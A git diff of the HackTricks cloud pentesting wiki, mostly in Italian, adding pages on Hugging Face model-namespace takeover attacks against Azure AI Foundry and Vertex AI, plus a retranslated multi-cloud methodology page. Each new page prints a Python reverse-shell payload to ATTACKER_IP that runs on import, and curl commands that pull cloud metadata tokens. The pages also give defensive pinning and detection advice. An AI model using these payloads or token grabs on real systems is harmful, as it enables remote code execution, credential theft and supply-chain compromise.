diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index c9610a2f0..52b7c1b91 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,3 +1,9 @@ # Az - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +az-azure-ai-foundry-post-exploitation.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md new file mode 100644 index 000000000..0b0959861 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -0,0 +1,94 @@ +# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse + +{{#include ../../../banners/hacktricks-training.md}} + +## Scenario + +- Il Model Catalog di Azure AI Foundry include molti modelli Hugging Face (HF) per il deployment con un click. +- Gli identificatori dei modelli HF sono Author/ModelName. Se un author/org HF viene cancellato, chiunque può re-registrare quell'author e pubblicare un modello con lo stesso ModelName allo stesso legacy path. +- Pipeline e catalog che risolvono solo per nome (no commit pinning/integrity) risolveranno su repo controllati dall'attaccante. Quando Azure deploya il modello, il loader code può eseguire nell'ambiente dell'endpoint, concedendo RCE con i permessi di quell'endpoint. + +Casi comuni di takeover HF: +- Ownership deletion: il vecchio path risponde 404 fino al takeover. +- Ownership transfer: il vecchio path risponde 307 verso il nuovo author mentre il vecchio author esiste. Se il vecchio author viene poi cancellato e re-registrato, il redirect si rompe e il repo dell'attaccante viene servito al legacy path. + +## Identifying Reusable Namespaces (HF) +```bash +# Check author/org existence +curl -I https://huggingface.co/ # 200 exists, 404 deleted/available + +# Check model path +curl -I https://huggingface.co// +# 307 -> redirect (transfer case), 404 -> deleted until takeover +``` +## Flusso d'attacco end-to-end contro Azure AI Foundry + +1) Nel Model Catalog, trova HF models i cui autori originali sono stati cancellati o trasferiti (autore originale rimosso) su HF. +2) Re-registrare l'autore abbandonato su HF e ricreare il ModelName. +3) Pubblica un repo maligno con codice loader che viene eseguito all'import o richiede trust_remote_code=True. +4) Effettua il deploy del legacy Author/ModelName da Azure AI Foundry. La piattaforma scarica il repo dell'attaccante; il loader viene eseguito all'interno del container/VM dell'endpoint Azure, ottenendo RCE con i permessi dell'endpoint. + +Esempio di frammento di payload eseguito all'import (solo a scopo dimostrativo): +```python +# __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images + +if os.environ.get("AZUREML_ENDPOINT","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +Note +- Le implementazioni di AI Foundry che integrano HF tipicamente clonano e importano moduli del repo referenziati dalla config del modello (es., auto_map), il che può attivare code execution. Alcuni percorsi richiedono trust_remote_code=True. +- L'accesso di solito corrisponde ai permessi della managed identity/service principal dell'endpoint. Consideralo come un initial access foothold per data access e lateral movement all'interno di Azure. + +## Post-Exploitation Tips (Azure Endpoint) + +- Enumerare variabili d'ambiente e MSI endpoints per tokens: +```bash +# Azure Instance Metadata Service (inside Azure compute) +curl -H "Metadata: true" \ +"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` +- Controlla il mounted storage, i model artifacts e i servizi Azure raggiungibili con il token acquisito. +- Considera la persistence lasciando poisoned model artifacts se la piattaforma re-pulls da HF. + +## Indicazioni difensive per gli utenti di Azure AI Foundry + +- Fissa i modelli per commit quando li carichi da HF: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- Eseguire il mirror dei modelli HF verificati in un registro interno attendibile e distribuirli da lì. +- Scansionare continuamente codebase e defaults/docstrings/notebooks alla ricerca di hard-coded Author/ModelName che sono stati eliminati/trasferiti; aggiornare o pin. +- Verificare l'esistenza dell'author e la provenienza del modello prima della distribuzione. + +## Euristiche di riconoscimento (HTTP) + +- Author eliminato: author page 404; legacy model path 404 fino al takeover. +- Modello trasferito: legacy path 307 verso il nuovo author mentre il vecchio author esiste; se il vecchio author viene poi eliminato e re-registrato, il legacy path serve attacker content. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## Riferimenti incrociati + +- Vedi la metodologia più ampia e le note sulla catena di approvvigionamento: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## Riferimenti + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index b16f7d106..8f4597e1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,3 +1,9 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +gcp-vertex-ai-post-exploitation.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..074938914 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,113 @@ +# GCP - Post-Exploitation di Vertex AI tramite riutilizzo del namespace dei modelli di Hugging Face + +{{#include ../../../banners/hacktricks-training.md}} + +## Scenario + +- Vertex AI Model Garden permette il deploy diretto di molti modelli di Hugging Face (HF). +- Gli identificatori dei modelli HF sono Author/ModelName. Se un author/org su HF viene eliminato, lo stesso nome author può essere ri-registrato da chiunque. Gli attacker possono quindi creare un repo con lo stesso ModelName sul percorso legacy. +- Pipelines, SDKs o cataloghi cloud che effettuano il fetch solo per nome (no pinning/integrity) scaricheranno il repo controllato dall'attacker. Quando il modello viene deployato, il loader code di quel repo può essere eseguito all'interno del container dell'endpoint Vertex AI, ottenendo RCE con i permessi dell'endpoint. + +Due casi comuni di takeover su HF: +- Ownership deletion: il vecchio percorso restituisce 404 fino a quando qualcuno ri-registrerà l'author e pubblicherà lo stesso ModelName. +- Ownership transfer: HF emette 307 redirect dal vecchio Author/ModelName al nuovo author. Se il vecchio author viene poi eliminato e ri-registrato da un attacker, la catena di redirect viene interrotta e il repo dell'attacker viene servito al percorso legacy. + +## Identificare namespace riutilizzabili (HF) + +- Autore eliminato: la pagina dell'author restituisce 404; il percorso del modello potrebbe restituire 404 fino al takeover. +- Modelli trasferiti: il vecchio percorso del modello emette 307 verso il nuovo owner mentre il vecchio author esiste. Se il vecchio author viene poi eliminato e ri-registrato, il percorso legacy risolverà verso il repo dell'attacker. + +Controlli rapidi con curl: +```bash +# Check author/org existence +curl -I https://huggingface.co/ +# 200 = exists, 404 = deleted/available + +# Check old model path behavior +curl -I https://huggingface.co// +# 307 = redirect to new owner (transfer case) +# 404 = missing (deletion case) until someone re-registers +``` +## Flusso di attacco end-to-end contro Vertex AI + +1) Scoprire namespace di modelli riutilizzabili che Model Garden elenca come deployable: +- Trovare modelli HF in Vertex AI Model Garden che mostrano ancora “verified deployable”. +- Verificare su HF se l'autore originale è stato cancellato o se il modello è stato trasferito e il vecchio author è stato rimosso in seguito. + +2) Re-registrare l'Author cancellato su HF e ricreare lo stesso ModelName. + +3) Pubblicare un repo maligno. Includere codice che venga eseguito al model load. Esempi che vengono comunemente eseguiti durante il caricamento del modello in HF: +- Effetti collaterali in __init__.py del repo +- Custom modeling_*.py o codice di processing referenziato da config/auto_map +- Percorsi di codice che richiedono trust_remote_code=True in Transformers pipelines + +4) Una deployment di Vertex AI del legacy Author/ModelName ora esegue il pull del repo dell'attaccante. Il loader viene eseguito all'interno del container dell'endpoint di Vertex AI. + +5) Il payload stabilisce accesso dall'ambiente dell'endpoint (RCE) con i permessi dell'endpoint. + +Esempio di frammento di payload eseguito all'import (solo a scopo dimostrativo): +```python +# Place in __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... + +if os.environ.get("VTX_AI","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +Note +- I loader reali variano. Molte integrazioni Vertex AI HF clonano e importano moduli del repo referenziati dalla config del modello (es., auto_map), il che può triggerare esecuzione di codice. Alcuni utilizzi richiedono trust_remote_code=True. +- L'endpoint tipicamente gira in un container dedicato con ambito limitato, ma rappresenta un valido foothold iniziale per l'accesso ai dati e il movimento laterale in GCP. + +## Post-Exploitation Tips (Vertex AI Endpoint) + +Una volta che il codice è in esecuzione all'interno del container dell'endpoint, considera: +- Enumerare le variabili d'ambiente e i metadata per credenziali/token +- Accedere allo storage allegato o agli artefatti del modello montati +- Interagire con le Google API tramite l'identità dell'account di servizio (Document AI, Storage, Pub/Sub, etc.) +- Persistenza nell'artefatto del modello se la piattaforma ri-pulla il repo + +Enumerare i metadata dell'istanza se accessibili (dipende dal container): +```bash +curl -H "Metadata-Flavor: Google" \ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +## Linee guida difensive per gli utenti di Vertex AI + +- Bloccare i modelli per commit in HF loaders per prevenire la sostituzione silenziosa: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- Rispecchiare i modelli HF verificati in un artifact store/registry interno attendibile e distribuirli da lì. +- Eseguire scansioni continue di codebase e config per Author/ModelName hard-coded che siano stati cancellati/trasferiti; aggiornare ai nuovi namespace o effettuare pin tramite commit. +- In Model Garden, verificare la provenienza del modello e l'esistenza dell'author prima del deployment. + +## Euristiche di riconoscimento (HTTP) + +- Deleted author: author page 404; legacy model path 404 until takeover. +- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## Riferimenti incrociati + +- Vedi metodologia più ampia e note sulla catena di fornitura: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## Riferimenti + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 064aef124..030ed3b41 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -4,41 +4,41 @@
-## Metodologia di Base +## Metodologia di base -Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comuni che un pentester dovrebbe controllare** quando testa un ambiente cloud: +Ogni cloud ha le sue peculiarità ma in generale ci sono alcune **cose comuni che un pentester dovrebbe verificare** quando testa un ambiente cloud: -- **Controlli di benchmark** -- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e i **servizi utilizzati** -- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati** -- **Enumerazione dei servizi** -- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark. -- Questo ti permetterà di sapere **cosa viene esattamente utilizzato** nell'ambiente cloud +- **Benchmark checks** +- Questo ti aiuterà a **capire le dimensioni** dell'ambiente e i **servizi utilizzati** +- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** dato che puoi eseguire la maggior parte di questi test con **tool automatici** +- **Services Enumeration** +- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non sono state cercate durante il benchmark. +- Questo ti permetterà di sapere **cosa viene esattamente usato** nell'ambiente cloud - Questo aiuterà molto nei passaggi successivi -- **Controlla le risorse esposte** -- Questo può essere fatto durante la sezione precedente, devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accessibile. -- Qui sto considerando **infrastrutture esposte manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti dal cloud che possono essere configurati** per essere esposti (come DB o bucket) -- Poi dovresti controllare **se quella risorsa può essere esposta o meno** (informazioni riservate? vulnerabilità? misconfigurazioni nel servizio esposto?) -- **Controlla i permessi** -- Qui dovresti **scoprire tutti i permessi di ciascun ruolo/utente** all'interno del cloud e come vengono utilizzati -- Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe già essere stata effettuata nei test di benchmark -- Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa se il ruolo di admin è assegnato a 1 utente o a 100) -- Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi utilizzati possono essere molto **sensibili**. -- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **dovrebbero essere segnalati il maggior numero possibile di percorsi privesc**. -- **Controlla le integrazioni** -- È altamente probabile che **integrazioni con altri cloud o SaaS** siano utilizzate all'interno dell'ambiente cloud. -- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso per (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\ -Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati). -- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente per (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\ -Ad esempio, se un servizio sta utilizzando un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accesso avrà quell'immagine quando viene eseguita all'interno di un cloud AWS. +- **Check exposed assets** +- Questo può essere fatto durante la sezione precedente, devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accesso. +- Qui intendo **infrastruttura esposta manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti cloud che possono essere configurati** per essere esposti (come DBs o buckets) +- Poi dovresti verificare **se quella risorsa può essere esposta o no** (informazioni confidenziali? vulnerabilità? misconfigurazioni nel servizio esposto?) +- **Check permissions** +- Qui dovresti **scoprire tutti i permessi di ogni ruolo/utente** all'interno del cloud e come vengono usati +- Troppi account **con privilegi elevati** (controllano tutto)? Chiavi generate non usate?... La maggior parte di questi controlli dovrebbe essere già stata fatta nei test di benchmark +- Se il cliente usa OpenID o SAML o altra **federation** potresti aver bisogno di chiedere ulteriori **informazioni** su **come viene assegnato ogni ruolo** (non è lo stesso che il ruolo admin sia assegnato a 1 utente o a 100) +- Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi usati possono essere molto **sensibili**. +- Inoltre, ci sono **potenziali privesc** da seguire abusando dei permessi. Tutte queste cose devono essere prese in considerazione e **quanti più percorsi di privesc possibile** dovrebbero essere riportati. +- **Check Integrations** +- È altamente probabile che **integrazioni con altri cloud o SaaS** siano usate all'interno dell'ambiente cloud. +- Per **integrazioni del cloud che stai auditando** con altre piattaforme dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione eseguita.\ +Per esempio, chi può scrivere in un bucket AWS da cui GCP sta ottenendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati). +- Per **integrazioni dentro il cloud che stai auditando** provenienti da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e verificare come vengono usati quei dati.\ +Per esempio, se un servizio usa un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accessi quella immagine otterrà quando eseguita dentro una cloud AWS. -## Strumenti Multi-Cloud +## Multi-Cloud tools -Ci sono diversi strumenti che possono essere utilizzati per testare diversi ambienti cloud. I passaggi di installazione e i link saranno indicati in questa sezione. +Ci sono diversi tool che possono essere usati per testare differenti ambienti cloud. I passi di installazione e i link verranno indicati in questa sezione. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Uno strumento per **identificare cattive configurazioni e percorsi di privesc nei cloud e tra cloud/SaaS.** +Uno strumento per **identificare cattive configurazioni e privesc path nei cloud e tra cloud/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Installa" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -168,9 +168,9 @@ steampipe check all ```
-Controlla tutti i progetti +Verifica tutti i progetti -Per controllare tutti i progetti, è necessario generare il file `gcp.spc` indicando tutti i progetti da testare. Puoi semplicemente seguire le indicazioni dello script seguente. +Per verificare tutti i progetti è necessario generare il file `gcp.spc` che indica tutti i progetti da testare. Puoi semplicemente seguire le indicazioni dello script seguente ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Per controllare **altri approfondimenti GCP** (utili per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Per verificare **altri insight GCP** (utile per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) Per controllare il codice Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) @@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Per controllare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Per verificare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Altri plugin AWS di Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Altri plugin AWS per Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Richiede python2.7 e sembra non essere mantenuto. +Richiede python2.7 e sembra non essere più mantenuto. ### Nessus -Nessus ha una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Alcune configurazioni extra in **Azure** sono necessarie per ottenere un **Client Id**. +Nessus dispone di una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Sono necessarie alcune configurazioni aggiuntive in **Azure** per ottenere un **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist è uno strumento **multi-cloud per ottenere Assets** (Nomi host, Indirizzi IP) dai fornitori di cloud. +Cloudlist è uno **strumento multi-cloud per ottenere Assets** (Hostnames, IP Addresses) dai Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography è uno strumento Python che consolida le risorse infrastrutturali e le relazioni tra di esse in una vista grafica intuitiva alimentata da un database Neo4j. +Cartography è uno strumento Python che consolida le risorse dell'infrastruttura e le relazioni tra di esse in una visualizzazione grafica intuitiva alimentata da un database Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase raccoglie asset e relazioni da servizi e sistemi, inclusa l'infrastruttura cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j. +Starbase raccoglie asset e relazioni da servizi e sistemi, tra cui infrastrutture cloud, applicazioni SaaS, controlli di sicurezza e altro, in una visualizzazione a grafo intuitiva supportata dal database Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Utilizza PowerShell. +Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Usa powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +372,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Uno strumento per trovare l'infrastruttura, i file e le app di un'azienda (obiettivo) sui principali fornitori di cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Uno strumento per trovare l'infrastruttura di una company (target), file e app sui principali provider cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox è uno strumento per trovare percorsi di attacco sfruttabili nell'infrastruttura cloud (attualmente supportato solo AWS e Azure, con GCP in arrivo). -- È uno strumento di enumerazione che è destinato a completare il pentesting manuale. +- CloudFox è uno strumento per trovare exploitable attack paths nell'infrastructure cloud (attualmente supportati solo AWS & Azure con GCP in arrivo). +- È uno strumento di enumerazione pensato per complementare il pentesting manuale. - Non crea né modifica alcun dato all'interno dell'ambiente cloud. -### Altre liste di strumenti di sicurezza cloud +### More lists of cloud security tools - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -410,12 +410,13 @@ aws-security/ azure-security/ {{#endref}} -### Attack Graph +### Grafo di attacco -[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai team rossi e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” delle risorse in una Azure subscription. Permette a red teams e pentesters di visualizzare l'attack surface e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi defender per orientare e prioritizzare rapidamente l'incident response. ### Office365 -Hai bisogno di **Global Admin** o almeno di **Global Admin Reader** (ma nota che Global Admin Reader è un po' limitato). Tuttavia, queste limitazioni appaiono in alcuni moduli PS e possono essere aggirate accedendo alle funzionalità **tramite l'applicazione web**. +Hai bisogno di **Global Admin** o almeno di **Global Admin Reader** (nota che Global Admin Reader è un po' limitato). Tuttavia, queste limitazioni compaiono in alcuni PS modules e possono essere bypassate accedendo alle funzionalità tramite l'applicazione web. + {{#include ../banners/hacktricks-training.md}}